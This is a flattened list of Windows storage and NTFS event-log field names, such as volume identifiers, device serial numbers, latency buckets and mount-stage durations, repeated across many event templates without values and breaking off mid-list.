Name OperationByteCountBuckets8 Data Name OperationByteCountBuckets9 Data Name OperationByteCountBuckets10 Data Name OperationByteCountBuckets11 Data Name OperationByteCountBuckets12 Data Name OperationBytesReclaimedBuckets1 Data Name OperationBytesReclaimedBuckets2 Data Name OperationBytesReclaimedBuckets3 Data Name OperationBytesReclaimedBuckets4 Data Name OperationBytesReclaimedBuckets5 Data Name OperationBytesReclaimedBuckets6 Data Name OperationBytesReclaimedBuckets7 Data Name OperationBytesReclaimedBuckets8 Data Name OperationBytesReclaimedBuckets9 Data Name OperationBytesReclaimedBuckets10 Data Name OperationBytesReclaimedBuckets11 Data Name OperationBytesReclaimedBuckets12 Data Name OperationLatencyBuckets1 Data Name OperationLatencyBuckets2 Data Name OperationLatencyBuckets3 Data Name OperationLatencyBuckets4 Data Name OperationLatencyBuckets5 Data Name OperationLatencyBuckets6 Data Name OperationLatencyBuckets7 Data Name OperationLatencyBuckets8 Data Name OperationLatencyBuckets9 Data Name OperationLatencyBuckets10 Data Name OperationLatencyBuckets11 Data Name OperationLatencyBuckets12 Data Name LatencyBucketLabelsLength Data Name LatencyBucketLabelsLabels Data Name OperationCountLatencyBuckets1 Data Name OperationCountLatencyBuckets2 Data Name OperationCountLatencyBuckets3 Data Name OperationCountLatencyBuckets4 Data Name OperationCountLatencyBuckets5 Data Name OperationCountLatencyBuckets6 Data Name OperationCountLatencyBuckets7 Data Name OperationCountLatencyBuckets8 Data Name OperationCountLatencyBuckets9 Data Name OperationCountLatencyBuckets10 Data Name OperationCountLatencyBuckets11 Data Name OperationCountLatencyBuckets12 Data Name OperationCountLatencyBuckets13 Data Name OperationCountLatencyBuckets14 Data Name OperationCountLatencyBuckets15 Data Name OperationFailureStatusCode1 Data Name OperationFailureCount1 Data Name OperationFailureStatusCode2 Data Name OperationFailureCount2 Data Name OperationFailureStatusCode3 Data Name OperationFailureCount3 Data Name OperationFailureStatusCode4 Data Name OperationFailureCount4 Data Name OperationFailureStatusCode5 Data Name OperationFailureCount5 VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume PeriodDurationMicrosSec OperationCount RepostedOperationCount FailedOperationCount OperationRangeCount OperationByteCount OperationLongRangeByteCount UnalignedRangeCount BytesInUnalignedRanges OperationTrimExtentCount NonBlockAlignedTrimByteCount ReclaimedByteCount ByteCountLabelsLength ByteCountLabels OperationCountBuckets1 OperationCountBuckets2 OperationCountBuckets3 OperationCountBuckets4 OperationCountBuckets5 OperationCountBuckets6 OperationCountBuckets7 OperationCountBuckets8 OperationCountBuckets9 OperationCountBuckets10 OperationCountBuckets11 OperationCountBuckets12 OperationByteCountBuckets1 OperationByteCountBuckets2 OperationByteCountBuckets3 OperationByteCountBuckets4 OperationByteCountBuckets5 OperationByteCountBuckets6 OperationByteCountBuckets7 OperationByteCountBuckets8 OperationByteCountBuckets9 OperationByteCountBuckets10 OperationByteCountBuckets11 OperationByteCountBuckets12 OperationBytesReclaimedBuckets1 OperationBytesReclaimedBuckets2 OperationBytesReclaimedBuckets3 OperationBytesReclaimedBuckets4 OperationBytesReclaimedBuckets5 OperationBytesReclaimedBuckets6 OperationBytesReclaimedBuckets7 OperationBytesReclaimedBuckets8 OperationBytesReclaimedBuckets9 OperationBytesReclaimedBuckets10 OperationBytesReclaimedBuckets11 OperationBytesReclaimedBuckets12 OperationLatencyBuckets1 OperationLatencyBuckets2 OperationLatencyBuckets3 OperationLatencyBuckets4 OperationLatencyBuckets5 OperationLatencyBuckets6 OperationLatencyBuckets7 OperationLatencyBuckets8 OperationLatencyBuckets9 OperationLatencyBuckets10 OperationLatencyBuckets11 OperationLatencyBuckets12 LatencyBucketLabelsLength LatencyBucketLabelsLabels OperationCountLatencyBuckets1 OperationCountLatencyBuckets2 OperationCountLatencyBuckets3 OperationCountLatencyBuckets4 OperationCountLatencyBuckets5 OperationCountLatencyBuckets6 OperationCountLatencyBuckets7 OperationCountLatencyBuckets8 OperationCountLatencyBuckets9 OperationCountLatencyBuckets10 OperationCountLatencyBuckets11 OperationCountLatencyBuckets12 OperationCountLatencyBuckets13 OperationCountLatencyBuckets14 OperationCountLatencyBuckets15 OperationFailureStatusCode1 OperationFailureCount1 OperationFailureStatusCode2 OperationFailureCount2 OperationFailureStatusCode3 OperationFailureCount3 OperationFailureStatusCode4 OperationFailureCount4 OperationFailureStatusCode5 OperationFailureCount5 EventData Data Name Data Name DeviceNameLength Data Name DeviceName DeviceNameLength DeviceName EventData Data Name Data Name DeviceNameLength Data Name DeviceName Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName Data Name VolumeLabelLength Data Name VolumeLabel DeviceNameLength DeviceName VolumeGuid VolumeNameLength VolumeName VolumeLabelLength VolumeLabel EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name ProcessId Data Name ProcessName Data Name DismountReason VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber ProcessId ProcessName DismountReason EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name ProcessId Data Name ProcessName Data Name DismountReason VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber ProcessId ProcessName DismountReason EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name Error VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber Error EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name Error VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber Error EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name MountDurationUs Data Name MountDuration Data Name LongestStage Data Name LongestStageDuration Data Name LongestStagePercentage Data Name SecondLongestStage Data Name SecondLongestStageDuration Data Name SecondLongestStagePercentage Data Name RestartApplied Data Name IsBootVolume Data Name Stage1DurationUs Data Name Stage2DurationUs Data Name Stage3DurationUs Data Name Stage4DurationUs Data Name Stage5DurationUs Data Name Stage6DurationUs Data Name Stage7DurationUs Data Name Stage8DurationUs Data Name Stage9DurationUs Data Name Stage10DurationUs VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber MountDurationUs MountDuration LongestStage LongestStageDuration LongestStagePercentage SecondLongestStage SecondLongestStageDuration SecondLongestStagePercentage RestartApplied IsBootVolume Stage1DurationUs Stage2DurationUs Stage3DurationUs Stage4DurationUs Stage5DurationUs Stage6DurationUs Stage7DurationUs Stage8DurationUs Stage9DurationUs Stage10DurationUs EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name DeviceNumber Data Name IsBootVolume Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name MountDurationUs Data Name MountDuration Data Name LongestStage Data Name LongestStageDuration Data Name LongestStagePercentage Data Name SecondLongestStage Data Name SecondLongestStageDuration Data Name SecondLongestStagePercentage Data Name RestartApplied Data Name Stage1DurationUs Data Name Stage2DurationUs Data Name Stage3DurationUs Data Name Stage4DurationUs Data Name Stage5DurationUs Data Name Stage6DurationUs Data Name Stage7DurationUs Data Name Stage8DurationUs Data Name Stage9DurationUs Data Name Stage10DurationUs VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType DeviceNumber IsBootVolume AdapterSerialNumberLength AdapterSerialNumber MountDurationUs MountDuration LongestStage LongestStageDuration LongestStagePercentage SecondLongestStage SecondLongestStageDuration SecondLongestStagePercentage RestartApplied Stage1DurationUs Stage2DurationUs Stage3DurationUs Stage4DurationUs Stage5DurationUs Stage6DurationUs Stage7DurationUs Stage8DurationUs Stage9DurationUs Stage10DurationUs EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name DeviceNumber Data Name IsBootVolume Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name MountDurationUs Data Name MountDuration Data Name LongestStage Data Name LongestStageDuration Data Name LongestStagePercentage Data Name SecondLongestStage Data Name SecondLongestStageDuration Data Name SecondLongestStagePercentage Data Name RestartApplied Data Name Stage1DurationUs Data Name Stage2DurationUs Data Name Stage3DurationUs Data Name Stage4DurationUs Data Name Stage5DurationUs Data Name Stage6DurationUs Data Name Stage7DurationUs Data Name Stage8DurationUs Data Name Stage9DurationUs Data Name Stage10DurationUs VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType DeviceNumber IsBootVolume NativeNVMe AdapterSerialNumberLength AdapterSerialNumber MountDurationUs MountDuration LongestStage LongestStageDuration LongestStagePercentage SecondLongestStage SecondLongestStageDuration SecondLongestStagePercentage RestartApplied Stage1DurationUs Stage2DurationUs Stage3DurationUs Stage4DurationUs Stage5DurationUs Stage6DurationUs Stage7DurationUs Stage8DurationUs Stage9DurationUs Stage10DurationUs EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Error Data Name MountStageSourceTag VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber Error MountStageSourceTag EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name DeviceNumber Data Name IsBootVolume Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Error Data Name RestartApplied Data Name MountStageSourceTag VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType DeviceNumber IsBootVolume NativeNVMe AdapterSerialNumberLength AdapterSerialNumber Error RestartApplied MountStageSourceTag EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name DeviceNumber Data Name IsBootVolume Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Error Data Name RestartApplied Data Name MountStageSourceTag VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType DeviceNumber IsBootVolume NativeNVMe AdapterSerialNumberLength AdapterSerialNumber Error RestartApplied MountStageSourceTag EventData Data Name Data Name DeviceNameLength Data Name DeviceName Data Name VolumeGuid Data Name Version Data Name CachedRunsRestoredRunCount Data Name CachedRunsRestoredTimeMs DeviceNameLength DeviceName VolumeGuid Version CachedRunsRestoredRunCount CachedRunsRestoredTimeMs EventData Data Name Data Name DeviceNameLength Data Name DeviceName Data Name VolumeGuid Data Name MessageLength Data Name Message DeviceNameLength DeviceName VolumeGuid MessageLength Message EventData Data Name Data Name DeviceNameLength Data Name DeviceName Data Name VolumeGuid Data Name Version Data Name CachedRunsPreparedRunCount Data Name CachedRunsPreparedTimeMs DeviceNameLength DeviceName VolumeGuid Version CachedRunsPreparedRunCount CachedRunsPreparedTimeMs EventData Data Name Data Name DeviceNameLength Data Name DeviceName Data Name VolumeGuid Data Name MessageLength Data Name Message Data Name FailureStatus Data Name SourceTag DeviceNameLength DeviceName VolumeGuid MessageLength Message FailureStatus SourceTag EventData Data Name Data Name DeviceNameLength Data Name DeviceName Data Name VolumeGuid Data Name Version Data Name CachedRunsFilledRunCount Data Name CachedRunsFilledTimeMs DeviceNameLength DeviceName VolumeGuid Version CachedRunsFilledRunCount CachedRunsFilledTimeMs EventData Data Name Data Name DeviceNameLength Data Name DeviceName Data Name VolumeGuid Data Name MessageLength Data Name Message Data Name FailureStatus Data Name SourceTag DeviceNameLength DeviceName VolumeGuid MessageLength Message FailureStatus SourceTag EventData Data Name Data Name DeviceNameLength Data Name DeviceName Data Name VolumeGuid Data Name Version Data Name CachedRunsRestoredRunCount Data Name CachedRunsRestoredTimeMs DeviceNameLength DeviceName VolumeGuid Version CachedRunsRestoredRunCount CachedRunsRestoredTimeMs EventData Data Name Data Name DeviceNameLength Data Name DeviceName Data Name VolumeGuid Data Name MessageLength Data Name Message Data Name FailureStatus Data Name SourceTag DeviceNameLength DeviceName VolumeGuid MessageLength Message FailureStatus SourceTag EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name DurationUs Data Name InputFlags Data Name Reason Data Name Flags VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber DurationUs InputFlags Reason Flags EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name DurationUs Data Name InputFlags Data Name Reason Data Name Flags VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber DurationUs InputFlags Reason Flags EventData Data Name VolumeCorrelationId Data Name VolumeId Data Name VolumeLabel Data Name DeviceName Data Name DeviceGuid Data Name VendorId Data Name ProductId Data Name ProductRevision Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumber Data Name MediaType Data Name RunsCached Data Name LongestRunCached Data Name LongestRunCachedStr Data Name MostPopulatedBinCount Data Name MostPopulatedBinMinLength Data Name MostPopulatedBinMinLengthStr Data Name MostPopulatedBinMaxLength Data Name MostPopulatedBinMaxLengthStr Data Name TotalCachedRuns Data Name CachedRunsLogged Data Name CachedRunsAlignment Data Name RunsInCachedRuns Data Name LongestRunInCachedRuns Data Name !MostPopulatedBinCountInCachedRuns Data Name %MostPopulatedBinMinLengthInCachedRuns Data Name %MostPopulatedBinMaxLengthInCachedRuns VolumeCorrelationId VolumeId VolumeLabel DeviceName DeviceGuid VendorId ProductId ProductRevision DeviceSerialNumber BusType AdapterSerialNumber MediaType RunsCached LongestRunCached LongestRunCachedStr MostPopulatedBinCount MostPopulatedBinMinLength MostPopulatedBinMinLengthStr MostPopulatedBinMaxLength MostPopulatedBinMaxLengthStr TotalCachedRuns CachedRunsLogged CachedRunsAlignment RunsInCachedRuns LongestRunInCachedRuns MostPopulatedBinCountInCachedRuns MostPopulatedBinMinLengthInCachedRuns MostPopulatedBinMaxLengthInCachedRuns EventData Data Name VolumeCorrelationId Data Name VolumeId Data Name VolumeLabel Data Name DeviceName Data Name DeviceGuid Data Name VendorId Data Name ProductId Data Name ProductRevision Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumber Data Name MediaType Data Name RunsCached Data Name LongestRunCached Data Name LongestRunCachedStr Data Name MostPopulatedBinCount Data Name MostPopulatedBinMinLength Data Name MostPopulatedBinMinLengthStr Data Name MostPopulatedBinMaxLength Data Name MostPopulatedBinMaxLengthStr Data Name TotalCachedRuns Data Name CachedRunsLogged Data Name CachedRunsAlignment Data Name RunsInCachedRuns Data Name LongestRunInCachedRuns Data Name !MostPopulatedBinCountInCachedRuns Data Name %MostPopulatedBinMinLengthInCachedRuns Data Name %MostPopulatedBinMaxLengthInCachedRuns VolumeCorrelationId VolumeId VolumeLabel DeviceName DeviceGuid VendorId ProductId ProductRevision DeviceSerialNumber BusType NativeNVMe AdapterSerialNumber MediaType RunsCached LongestRunCached LongestRunCachedStr MostPopulatedBinCount MostPopulatedBinMinLength MostPopulatedBinMinLengthStr MostPopulatedBinMaxLength MostPopulatedBinMaxLengthStr TotalCachedRuns CachedRunsLogged CachedRunsAlignment RunsInCachedRuns LongestRunInCachedRuns MostPopulatedBinCountInCachedRuns MostPopulatedBinMinLengthInCachedRuns MostPopulatedBinMaxLengthInCachedRuns EventData Data Name VolumeCorrelationId Data Name VolumeId Data Name VolumeLabel Data Name DeviceName Data Name DeviceGuid Data Name VendorId Data Name ProductId Data Name ProductRevision Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumber Data Name CapacityTierName Data Name CapacityMediaType Data Name CapacityRunsCached Data Name CapacityLongestRunCached Data Name CapacityLongestRunCachedStr Data Name CapacityMostPopulatedBinCount Data Name !CapacityMostPopulatedBinMinLength Data Name $CapacityMostPopulatedBinMinLengthStr Data Name !CapacityMostPopulatedBinMaxLength Data Name $CapacityMostPopulatedBinMaxLengthStr Data Name CapacityTotalCachedRuns Data Name CapacityCachedRunsLogged Data Name CapacityCachedRunsAlignment Data Name CapacityRunsInCachedRuns Data Name CapacityLongestRunInCachedRuns Data Name )CapacityMostPopulatedBinCountInCachedRuns Data Name -CapacityMostPopulatedBinMinLengthInCachedRuns Data Name -CapacityMostPopulatedBinMaxLengthInCachedRuns Data Name PerfTierName Data Name PerfMediaType Data Name PerfRunsCached Data Name PerfLongestRunCached Data Name PerfLongestRunCachedStr Data Name PerfMostPopulatedBinCount Data Name PerfMostPopulatedBinMinLength Data Name PerfMostPopulatedBinMinLengthStr Data Name PerfMostPopulatedBinMaxLength Data Name PerfMostPopulatedBinMaxLengthStr Data Name PerfTotalCachedRuns Data Name PerfCachedRunsLogged Data Name PerfCachedRunsAlignment Data Name PerfRunsInCachedRuns Data Name PerfLongestRunInCachedRuns Data Name %PerfMostPopulatedBinCountInCachedRuns Data Name )PerfMostPopulatedBinMinLengthInCachedRuns Data Name )PerfMostPopulatedBinMaxLengthInCachedRuns VolumeCorrelationId VolumeId VolumeLabel DeviceName DeviceGuid VendorId ProductId ProductRevision DeviceSerialNumber BusType AdapterSerialNumber CapacityTierName CapacityMediaType CapacityRunsCached CapacityLongestRunCached CapacityLongestRunCachedStr CapacityMostPopulatedBinCount CapacityMostPopulatedBinMinLength CapacityMostPopulatedBinMinLengthStr CapacityMostPopulatedBinMaxLength CapacityMostPopulatedBinMaxLengthStr CapacityTotalCachedRuns CapacityCachedRunsLogged CapacityCachedRunsAlignment CapacityRunsInCachedRuns CapacityLongestRunInCachedRuns CapacityMostPopulatedBinCountInCachedRuns CapacityMostPopulatedBinMinLengthInCachedRuns CapacityMostPopulatedBinMaxLengthInCachedRuns PerfTierName PerfMediaType PerfRunsCached PerfLongestRunCached PerfLongestRunCachedStr PerfMostPopulatedBinCount PerfMostPopulatedBinMinLength PerfMostPopulatedBinMinLengthStr PerfMostPopulatedBinMaxLength PerfMostPopulatedBinMaxLengthStr PerfTotalCachedRuns PerfCachedRunsLogged PerfCachedRunsAlignment PerfRunsInCachedRuns PerfLongestRunInCachedRuns PerfMostPopulatedBinCountInCachedRuns PerfMostPopulatedBinMinLengthInCachedRuns PerfMostPopulatedBinMaxLengthInCachedRuns EventData Data Name VolumeCorrelationId Data Name VolumeId Data Name VolumeLabel Data Name DeviceName Data Name DeviceGuid Data Name VendorId Data Name ProductId Data Name ProductRevision Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumber Data Name CapacityTierName Data Name CapacityMediaType Data Name CapacityRunsCached Data Name CapacityLongestRunCached Data Name CapacityLongestRunCachedStr Data Name CapacityMostPopulatedBinCount Data Name !CapacityMostPopulatedBinMinLength Data Name $CapacityMostPopulatedBinMinLengthStr Data Name !CapacityMostPopulatedBinMaxLength Data Name $CapacityMostPopulatedBinMaxLengthStr Data Name CapacityTotalCachedRuns Data Name CapacityCachedRunsLogged Data Name CapacityCachedRunsAlignment Data Name CapacityRunsInCachedRuns Data Name CapacityLongestRunInCachedRuns Data Name )CapacityMostPopulatedBinCountInCachedRuns Data Name -CapacityMostPopulatedBinMinLengthInCachedRuns Data Name -CapacityMostPopulatedBinMaxLengthInCachedRuns Data Name PerfTierName Data Name PerfMediaType Data Name PerfRunsCached Data Name PerfLongestRunCached Data Name PerfLongestRunCachedStr Data Name PerfMostPopulatedBinCount Data Name PerfMostPopulatedBinMinLength Data Name PerfMostPopulatedBinMinLengthStr Data Name PerfMostPopulatedBinMaxLength Data Name PerfMostPopulatedBinMaxLengthStr Data Name PerfTotalCachedRuns Data Name PerfCachedRunsLogged Data Name PerfCachedRunsAlignment Data Name PerfRunsInCachedRuns Data Name PerfLongestRunInCachedRuns Data Name %PerfMostPopulatedBinCountInCachedRuns Data Name )PerfMostPopulatedBinMinLengthInCachedRuns Data Name )PerfMostPopulatedBinMaxLengthInCachedRuns VolumeCorrelationId VolumeId VolumeLabel DeviceName DeviceGuid VendorId ProductId ProductRevision DeviceSerialNumber BusType NativeNVMe AdapterSerialNumber CapacityTierName CapacityMediaType CapacityRunsCached CapacityLongestRunCached CapacityLongestRunCachedStr CapacityMostPopulatedBinCount CapacityMostPopulatedBinMinLength CapacityMostPopulatedBinMinLengthStr CapacityMostPopulatedBinMaxLength CapacityMostPopulatedBinMaxLengthStr CapacityTotalCachedRuns CapacityCachedRunsLogged CapacityCachedRunsAlignment CapacityRunsInCachedRuns CapacityLongestRunInCachedRuns CapacityMostPopulatedBinCountInCachedRuns CapacityMostPopulatedBinMinLengthInCachedRuns CapacityMostPopulatedBinMaxLengthInCachedRuns PerfTierName PerfMediaType PerfRunsCached PerfLongestRunCached PerfLongestRunCachedStr PerfMostPopulatedBinCount PerfMostPopulatedBinMinLength PerfMostPopulatedBinMinLengthStr PerfMostPopulatedBinMaxLength PerfMostPopulatedBinMaxLengthStr PerfTotalCachedRuns PerfCachedRunsLogged PerfCachedRunsAlignment PerfRunsInCachedRuns PerfLongestRunInCachedRuns PerfMostPopulatedBinCountInCachedRuns PerfMostPopulatedBinMinLengthInCachedRuns PerfMostPopulatedBinMaxLengthInCachedRuns EventData Data Name Data Name DeviceNameLength Data Name DeviceName Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName DeviceNameLength DeviceName VolumeGuid VolumeNameLength VolumeName EventData Data Name Error Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName Error VolumeGuid VolumeNameLength VolumeName EventData Data Name VolumeId Data Name DeviceName Data Name Starting LCN Data Name Ending LCN VolumeId DeviceName Starting LCN Ending LCN EventData Data Name Data Name LogFileFullReason LogFileFullReason EventData Data Name VolumeIdLength Data Name VolumeId Data Name DeviceNameLength Data Name DeviceName Data Name Error Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeIdLength VolumeId DeviceNameLength DeviceName Error DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber EventData Data Name Data Name LogFileFullReason Data Name LogFileUsePercentage LogFileFullReason LogFileUsePercentage EventData Data Name Data Name DirtyMetaDataPages DirtyMetaDataPages EventData Data Name Data Name LogFileFullReason Data Name LogFileUsePercentage LogFileFullReason LogFileUsePercentage EventData Data Name Data Name DirtyMetaDataPages DirtyMetaDataPages EventData Data Name Data Name BaseFileId Data Name FileId Data Name CacheHit BaseFileId FileId CacheHit EventData Data Name Data Name BaseFileId Data Name FileId BaseFileId FileId EventData Data Name WorkItem Data Name Reason WorkItem Reason EventData Data Name WorkItem Data Name Reason Data Name Error WorkItem Reason Error EventData Data Name WorkItem Data Name Reason WorkItem Reason EventData Data Name WorkItem Data Name Reason WorkItem Reason EventData Data Name Status Status EventData Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName Data Name FileReference VolumeGuid VolumeNameLength VolumeName FileReference EventData Data Name VolumeSerialNumber Data Name FileReference Data Name FileNameLength Data Name FileName VolumeSerialNumber FileReference FileNameLength FileName EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name SecondsElapsed Data Name TotalCountDeleteFile Data Name TotalCountDeleteFileLogged Data Name ProcessNamesArray Data Name CountDeletesInDesktopArray Data Name CountDeletesInDocumentsArray Data Name CountDeletesInDownloadsArray Data Name 